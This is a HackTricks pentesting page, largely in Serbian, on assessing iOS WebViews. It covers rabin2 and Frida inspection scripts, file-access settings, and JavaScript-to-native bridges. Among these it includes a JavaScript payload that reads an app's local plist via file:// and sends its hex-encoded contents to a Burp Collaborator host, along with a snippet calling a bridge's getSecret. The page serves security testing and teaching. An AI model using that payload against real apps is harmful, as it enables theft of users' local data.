iOS WebViews

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

The code of this page was extracted from here. Check the page for further details.

WebViews types

WebViews se koriste unutar aplikacija za interaktivno prikazivanje web sadržaja. Različite vrste WebViews nude različite funkcionalnosti i bezbednosne karakteristike za iOS aplikacije. Evo kratkog pregleda:

  • UIWebView, koji više nije preporučen od iOS 12 nadalje zbog nedostatka podrške za onemogućavanje JavaScript, što ga čini podložnim injekciji skripti i Cross-Site Scripting (XSS) napadima.

  • WKWebView je preferisana opcija za uključivanje web sadržaja u aplikacije, nudeći poboljšanu kontrolu nad sadržajem i bezbednosnim karakteristikama. JavaScript je podrazumevano omogućen, ali se može onemogućiti ako je potrebno. Takođe podržava funkcije za sprečavanje automatskog otvaranja prozora od strane JavaScript-a i osigurava da se sav sadržaj učitava sigurno. Pored toga, arhitektura WKWebView minimizira rizik od oštećenja memorije koje utiče na glavni proces aplikacije.

  • SFSafariViewController nudi standardizovano iskustvo web pretraživanja unutar aplikacija, prepoznatljivo po svom specifičnom rasporedu koji uključuje polje za adresu samo za čitanje, dugmad za deljenje i navigaciju, i direktnu vezu za otvaranje sadržaja u Safariju. Za razliku od WKWebView, JavaScript se ne može onemogućiti u SFSafariViewController, koji takođe deli kolačiće i podatke sa Safarijem, održavajući privatnost korisnika od aplikacije. Mora biti istaknuto u skladu sa smernicama App Store-a.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Configuration Exploration Summary

Static Analysis Overview

U procesu ispitivanja WebViews konfiguracija, fokusira se na dva glavna tipa: UIWebView i WKWebView. Za identifikaciju ovih WebViews unutar binarnog fajla, koriste se komande koje pretražuju specifične reference klasa i metode inicijalizacije.

  • UIWebView Identification

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Ova komanda pomaže u lociranju instanci UIWebView pretražujući tekstualne nizove povezane s njom u binarnom kodu.

  • WKWebView Identifikacija

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Slično tome, za WKWebView, ova komanda pretražuje binarni fajl za tekstualne stringove koji ukazuju na njegovu upotrebu.

Pored toga, da bi se saznalo kako se WKWebView inicijalizuje, izvršava se sledeća komanda, koja cilja na potpis metode vezane za njegovu inicijalizaciju:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Provera Konfiguracije JavaScript-a

Za WKWebView, naglašava se da je onemogućavanje JavaScript-a najbolja praksa osim ako nije potrebno. Pretražuje se kompajlirani binarni fajl kako bi se potvrdilo da je svojstvo javaScriptEnabled postavljeno na false, čime se osigurava da je JavaScript onemogućen:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Samo verifikacija sigurnog sadržaja

WKWebView nudi mogućnost identifikacije problema sa mešanim sadržajem, u suprotnosti sa UIWebView. Ovo se proverava korišćenjem hasOnlySecureContent svojstva kako bi se osiguralo da su svi resursi stranice učitani putem sigurnih veza. Pretraga u kompajliranom binarnom fajlu se vrši na sledeći način:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Uvidi u Dinamičku Analizu

Dinamička analiza uključuje inspekciju heap-a za WebView instance i njihove osobine. Skripta pod nazivom webviews_inspector.js se koristi u tu svrhu, ciljajući UIWebView, WKWebView i SFSafariViewController instance. Beleži informacije o pronađenim instancama, uključujući URL-ove i podešavanja vezana za JavaScript i sigurni sadržaj.

Inspekcija heap-a može se izvršiti korišćenjem ObjC.choose() za identifikaciju WebView instanci i proveru javaScriptEnabled i hasonlysecurecontent osobina.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Скрипт се извршава са:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Ključni Ishodi:

  • Primeri WebView-a su uspešno locirani i pregledani.

  • Omogućavanje JavaScript-a i podešavanja sigurnog sadržaja su verifikovani.

Ova sažetak obuhvata ključne korake i komande uključene u analizu WebView konfiguracija kroz statičke i dinamičke pristupe, fokusirajući se na bezbednosne karakteristike kao što su omogućavanje JavaScript-a i detekcija mešanog sadržaja.

Rukovanje WebView Protokolima

Rukovanje sadržajem u WebView-ima je kritičan aspekt, posebno kada se radi o različitim protokolima kao što su http(s)://, file://, i tel://. Ovi protokoli omogućavaju učitavanje kako udaljenog, tako i lokalnog sadržaja unutar aplikacija. Naglašava se da prilikom učitavanja lokalnog sadržaja, treba preduzeti mere opreza kako bi se sprečilo da korisnici utiču na ime ili putanju datoteke i da uređuju sam sadržaj.

WebViews nude različite metode za učitavanje sadržaja. Za UIWebView, koji je sada zastareo, koriste se metode kao što su loadHTMLString:baseURL: i loadData:MIMEType:textEncodingName:baseURL:. WKWebView, s druge strane, koristi loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, i loadRequest: za web sadržaj. Metode kao što su pathForResource:ofType:, URLForResource:withExtension:, i init(contentsOf:encoding:) se obično koriste za učitavanje lokalnih datoteka. Metoda loadFileURL:allowingReadAccessToURL: je posebno značajna zbog svoje sposobnosti da učita određeni URL ili direktorijum u WebView, potencijalno izlažući osetljive podatke ako je specificiran direktorijum.

Da bi se pronašle ove metode u izvor kodu ili kompajliranom binarnom fajlu, mogu se koristiti komande kao što su:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Regarding file access, UIWebView omogućava univerzalni pristup, dok WKWebView uvodi allowFileAccessFromFileURLs i allowUniversalAccessFromFileURLs podešavanja za upravljanje pristupom sa URL-ova datoteka, pri čemu su oba podrazumevano postavljena na false.

Primer Frida skripte je dat za inspekciju WKWebView konfiguracija za bezbednosna podešavanja:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Lastly, an example of a JavaScript payload aimed at exfiltrating local files demonstrates the potential security risk associated with improperly configured WebViews. Ovaj payload kodira sadržaj datoteka u heksadecimalni format pre nego što ih prenese na server, ističući važnost strogih bezbednosnih mera u implementacijama WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methods Exposed Through WebViews

Razumevanje WebView Native Interfaces u iOS-u

Od iOS 7 pa nadalje, Apple je obezbedio API-je za komunikaciju između JavaScript-a u WebView-u i native Swift ili Objective-C objekata. Ova integracija se prvenstveno olakšava kroz dve metode:

  • JSContext: JavaScript funkcija se automatski kreira kada je Swift ili Objective-C blok povezan sa identifikatorom unutar JSContext. Ovo omogućava besprekornu integraciju i komunikaciju između JavaScript-a i native koda.

  • JSExport Protocol: Nasleđivanjem JSExport protokola, native svojstva, instance metode i metode klase mogu biti izložene JavaScript-u. To znači da su sve promene napravljene u JavaScript okruženju odražene u native okruženju, i obrnuto. Međutim, važno je osigurati da osetljivi podaci nisu nenamerno izloženi ovom metodom.

Pristupanje JSContext u Objective-C

U Objective-C, JSContext za UIWebView može se dobiti sledećom linijom koda:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Communication with WKWebView

Za WKWebView, direktan pristup JSContext nije dostupan. Umesto toga, koristi se prenos poruka putem funkcije postMessage, omogućavajući komunikaciju između JavaScripta i nativne aplikacije. Handleri za ove poruke se postavljaju na sledeći način, omogućavajući JavaScriptu da sigurno komunicira sa nativnom aplikacijom:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaction and Testing

JavaScript može da komunicira sa nativnim slojem definisanjem rukovaoca porukama skripte. Ovo omogućava operacije kao što su pozivanje nativnih funkcija sa veb stranice:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Da bi se uhvatio i manipulisao rezultat poziva native funkcije, može se prepisati callback funkcija unutar HTML-a:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Nativna strana obrađuje JavaScript poziv kao što je prikazano u JavaScriptBridgeMessageHandler klasi, gde se rezultat operacija kao što je množenje brojeva obrađuje i šalje nazad JavaScript-u za prikaz ili dalju manipulaciju:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial zasnovan na onom sa https://blog.vuplex.com/debugging-webviews)

Da biste efikasno debagovali web sadržaj unutar iOS webview-a, potrebna je specifična postavka koja uključuje Safari-ove alate za programere zbog toga što poruke poslate na console.log() nisu prikazane u Xcode logovima. Evo pojednostavljenog vodiča, sa naglaskom na ključne korake i zahteve:

  • Priprema na iOS uređaju: Safari Web Inspector treba aktivirati na vašem iOS uređaju. To se radi odlaskom na Podešavanja > Safari > Napredno, i omogućavanjem Web Inspector.

  • Priprema na macOS uređaju: Na vašem macOS razvojnim računaru, morate omogućiti alate za programere unutar Safarija. Pokrenite Safari, pristupite Safari > Preferencije > Napredno, i izaberite opciju Prikaži Develop meni.

  • Povezivanje i debagovanje: Nakon što povežete svoj iOS uređaj sa vašim macOS računarom i pokrenete vašu aplikaciju, koristite Safari na vašem macOS uređaju da izaberete webview koji želite da debagujete. Idite na Develop u meniju Safarija, pređite mišem preko imena vašeg iOS uređaja da biste videli listu instanci webview-a, i izaberite instancu koju želite da pregledate. Otvoriće se novi prozor Safari Web Inspector-a u tu svrhu.

Međutim, imajte na umu ograničenja:

  • Debagovanje ovom metodom zahteva macOS uređaj jer se oslanja na Safari.

  • Samo webview-i u aplikacijama učitanim na vaš uređaj putem Xcode-a su podobni za debagovanje. Webview-i u aplikacijama instaliranim putem App Store-a ili Apple Configurator-a ne mogu se debagovati na ovaj način.

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated